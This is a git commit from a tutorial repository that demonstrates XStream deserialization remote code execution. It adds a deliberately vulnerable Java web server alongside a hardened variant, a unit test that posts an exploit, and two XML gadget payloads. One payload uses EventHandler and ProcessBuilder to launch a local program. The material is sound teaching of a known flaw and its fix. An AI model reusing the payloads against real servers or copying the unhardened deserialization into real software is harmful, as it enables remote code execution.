BAEL-2121 XStream RCE
This commit is contained in:
parent
1318804764
commit
1ba4b23099
@ -11,6 +11,7 @@
|
||||
<groupId>com.baeldung</groupId>
|
||||
<artifactId>parent-modules</artifactId>
|
||||
<version>1.0.0-SNAPSHOT</version>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
@ -28,8 +29,8 @@
|
||||
</dependencies>
|
||||
|
||||
<properties>
|
||||
<xstream.version>1.4.9</xstream.version>
|
||||
<xstream.version>1.4.10</xstream.version>
|
||||
<jettison.version>1.3.8</jettison.version>
|
||||
</properties>
|
||||
|
||||
</project>
|
||||
</project>
|
||||
|
92
xstream/src/main/java/com/baeldung/rce/App.java
Normal file
92
xstream/src/main/java/com/baeldung/rce/App.java
Normal file
@ -0,0 +1,92 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
import com.thoughtworks.xstream.XStream;
|
||||
import com.thoughtworks.xstream.security.NoTypePermission;
|
||||
import com.thoughtworks.xstream.security.NullPermission;
|
||||
import com.thoughtworks.xstream.security.PrimitiveTypePermission;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Web application which is intentionally vulnerable to an XStream remote code
|
||||
* exploitation (RCE).
|
||||
*
|
||||
* <p>
|
||||
* This test application is meant to maintain a set of {@link Person} models. It
|
||||
* exposes a "/persons" endpoint which supports the following operations:
|
||||
*
|
||||
* <ol>
|
||||
* <li>{@code POST} XML for adding a new {@link Person} to the set
|
||||
* <li>{@code GET} for retrieving the set of {@link Person} models as XML
|
||||
* </ol>
|
||||
*
|
||||
* The {@code POST} handler is vulnerable to an RCE exploit.
|
||||
*/
|
||||
public final class App {
|
||||
|
||||
public static App createHardened(int port) {
|
||||
final XStream xstream = new XStream();
|
||||
xstream.addPermission(NoTypePermission.NONE);
|
||||
xstream.addPermission(NullPermission.NULL);
|
||||
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
|
||||
xstream.allowTypes(new Class<?>[] { Person.class });
|
||||
return new App(port, xstream);
|
||||
}
|
||||
|
||||
public static App createVulnerable(int port) {
|
||||
return new App(port, new XStream());
|
||||
}
|
||||
|
||||
private final int port;
|
||||
private final Set<Person> persons;
|
||||
private final XStream xstream;
|
||||
private HttpServer server;
|
||||
|
||||
private App(int port, XStream xstream) {
|
||||
this.port = port;
|
||||
persons = new HashSet<>();
|
||||
// this app is vulnerable because XStream security is not configured
|
||||
this.xstream = xstream;
|
||||
this.xstream.alias("person", Person.class);
|
||||
}
|
||||
|
||||
void start() throws IOException {
|
||||
server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
|
||||
server.createContext("/persons", exchange -> {
|
||||
switch (exchange.getRequestMethod()) {
|
||||
case "POST":
|
||||
final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
|
||||
persons.add(person);
|
||||
exchange.sendResponseHeaders(201, 0);
|
||||
exchange.close();
|
||||
break;
|
||||
case "GET":
|
||||
exchange.sendResponseHeaders(200, 0);
|
||||
xstream.toXML(persons, exchange.getResponseBody());
|
||||
exchange.close();
|
||||
break;
|
||||
default:
|
||||
exchange.sendResponseHeaders(405, 0);
|
||||
exchange.close();
|
||||
}
|
||||
});
|
||||
server.start();
|
||||
}
|
||||
|
||||
void stop() {
|
||||
if (server != null) {
|
||||
server.stop(0);
|
||||
}
|
||||
}
|
||||
|
||||
int port() {
|
||||
if (server == null)
|
||||
throw new IllegalStateException("Server not started");
|
||||
return server.getAddress()
|
||||
.getPort();
|
||||
}
|
||||
}
|
43
xstream/src/main/java/com/baeldung/rce/Person.java
Normal file
43
xstream/src/main/java/com/baeldung/rce/Person.java
Normal file
@ -0,0 +1,43 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
/** Person model */
|
||||
public final class Person {
|
||||
|
||||
private String first;
|
||||
private String last;
|
||||
|
||||
public String getFirst() {
|
||||
return first;
|
||||
}
|
||||
|
||||
public void setFirst(String first) {
|
||||
this.first = first;
|
||||
}
|
||||
|
||||
public String getLast() {
|
||||
return last;
|
||||
}
|
||||
|
||||
public void setLast(String last) {
|
||||
this.last = last;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object o) {
|
||||
if (this == o) {
|
||||
return true;
|
||||
}
|
||||
if (!(o instanceof Person)) {
|
||||
return false;
|
||||
}
|
||||
Person person = (Person) o;
|
||||
return Objects.equals(first, person.first) && Objects.equals(last, person.last);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int hashCode() {
|
||||
return Objects.hash(first, last);
|
||||
}
|
||||
}
|
65
xstream/src/test/java/com/baeldung/rce/AppUnitTest.java
Normal file
65
xstream/src/test/java/com/baeldung/rce/AppUnitTest.java
Normal file
@ -0,0 +1,65 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
import org.junit.After;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.SocketException;
|
||||
import java.net.URL;
|
||||
|
||||
import static org.junit.Assert.assertTrue;
|
||||
|
||||
/**
|
||||
* Unit test which demonstrates a remote code exploit against the {@link App}
|
||||
* server. Sends an XML request containing an attack payload to the {@code POST}
|
||||
* endpoint.
|
||||
*/
|
||||
public final class AppUnitTest {
|
||||
|
||||
private App app;
|
||||
|
||||
/** start a new web server */
|
||||
@Before
|
||||
public void before() throws IOException {
|
||||
app = App.createVulnerable(0);
|
||||
app.start();
|
||||
}
|
||||
|
||||
/** stop the web server */
|
||||
@After
|
||||
public void after() {
|
||||
if (app != null)
|
||||
app.stop();
|
||||
}
|
||||
|
||||
/**
|
||||
* Test passes when an {@link IOException} is thrown because this indicates that
|
||||
* the attacker caused the application to fail in some way. This does not
|
||||
* actually confirm that the exploit took place, because the RCE is a
|
||||
* side-effect that is difficult to observe.
|
||||
*/
|
||||
@Test(expected = SocketException.class)
|
||||
public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
|
||||
// POST the attack.xml to the application's /persons endpoint
|
||||
final URL url = new URL("http://localhost:" + app.port() + "/persons");
|
||||
final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
|
||||
connection.setRequestMethod("POST");
|
||||
connection.setDoOutput(true);
|
||||
connection.setUseCaches(false);
|
||||
connection.setRequestProperty("Content-Type", "application/xml");
|
||||
connection.connect();
|
||||
try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
|
||||
byte[] buffer = new byte[1024];
|
||||
while (is.read(buffer) > 0) {
|
||||
os.write(buffer);
|
||||
}
|
||||
}
|
||||
final int rc = connection.getResponseCode();
|
||||
connection.disconnect();
|
||||
assertTrue(rc >= 400);
|
||||
}
|
||||
}
|
@ -0,0 +1,7 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
/**
|
||||
* Indicates a successful remote code execution attack has taken place.
|
||||
*/
|
||||
final class AttackExploitedException extends RuntimeException {
|
||||
}
|
@ -0,0 +1,13 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
/**
|
||||
* Class which contains an action to throw {@link AttackExploitedException}.
|
||||
* This helper is used by {@link AppTest} to determine when the remote code
|
||||
* exploit has taken place.
|
||||
*/
|
||||
final class AttackExploitedExceptionThrower {
|
||||
|
||||
public void throwAttackExploitedException() {
|
||||
throw new AttackExploitedException();
|
||||
}
|
||||
}
|
@ -0,0 +1,82 @@
|
||||
package com.baeldung.rce;
|
||||
|
||||
import com.thoughtworks.xstream.XStream;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.Assert.assertEquals;
|
||||
|
||||
/**
|
||||
* Demonstrates XStream basics
|
||||
*/
|
||||
public final class XStreamBasicsUnitTest {
|
||||
|
||||
private XStream xstream;
|
||||
|
||||
@Before
|
||||
public void before() {
|
||||
xstream = new XStream();
|
||||
xstream.alias("person", Person.class);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void whenWritePerson_thenWritesExpectedXml() {
|
||||
Person person = new Person();
|
||||
person.setFirst("John");
|
||||
person.setLast("Smith");
|
||||
|
||||
String xml = xstream.toXML(person);
|
||||
|
||||
// @formatter:off
|
||||
String expected = ""
|
||||
+ "<person>\n"
|
||||
+ " <first>John</first>\n"
|
||||
+ " <last>Smith</last>\n"
|
||||
+ "</person>";
|
||||
// @formatter:on
|
||||
assertEquals(expected, xml);
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
public void whenReadXmlAsPerson_thenReturnsNewPerson() {
|
||||
// @formatter:off
|
||||
String xml = ""
|
||||
+ "<person>"
|
||||
+ " <first>John</first>"
|
||||
+ " <last>Smith</last>"
|
||||
+ "</person>";
|
||||
// @formatter:on
|
||||
|
||||
Person person = (Person) xstream.fromXML(xml);
|
||||
|
||||
Person expected = new Person();
|
||||
expected.setFirst("John");
|
||||
expected.setLast("Smith");
|
||||
assertEquals(person, expected);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
|
||||
// @formatter:off
|
||||
String xml = ""
|
||||
+ "<map>"
|
||||
+ " <element>"
|
||||
+ " <string>foo</string>"
|
||||
+ " <int>10</int>"
|
||||
+ " </element>"
|
||||
+ "</map>";
|
||||
// @formatter:on
|
||||
@SuppressWarnings("unchecked")
|
||||
Map<String, Integer> actual = (Map<String, Integer>) xstream.fromXML(xml);
|
||||
|
||||
final Map<String, Integer> expected = Collections.singletonMap("foo", 10);
|
||||
|
||||
assertEquals(expected, actual);
|
||||
}
|
||||
|
||||
}
|
12
xstream/src/test/resources/attack.xml
Normal file
12
xstream/src/test/resources/attack.xml
Normal file
@ -0,0 +1,12 @@
|
||||
<sorted-set>
|
||||
<string>foo</string>
|
||||
<dynamic-proxy>
|
||||
<interface>java.lang.Comparable</interface>
|
||||
<handler class="java.beans.EventHandler">
|
||||
<target
|
||||
class='com.baeldung.rce.AttackExploitedExceptionThrower'>
|
||||
</target>
|
||||
<action>throwAttackExploitedException</action>
|
||||
</handler>
|
||||
</dynamic-proxy>
|
||||
</sorted-set>
|
16
xstream/src/test/resources/calculator-attack.xml
Normal file
16
xstream/src/test/resources/calculator-attack.xml
Normal file
@ -0,0 +1,16 @@
|
||||
<sorted-set>
|
||||
<string>foo</string>
|
||||
<dynamic-proxy>
|
||||
<interface>java.lang.Comparable</interface>
|
||||
<handler class="java.beans.EventHandler">
|
||||
<target
|
||||
class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>open</string>
|
||||
<string>/Applications/Calculator.app</string>
|
||||
</command>
|
||||
</target>
|
||||
<action>start</action>
|
||||
</handler>
|
||||
</dynamic-proxy>
|
||||
</sorted-set>
|
Loading…
x
Reference in New Issue
Block a user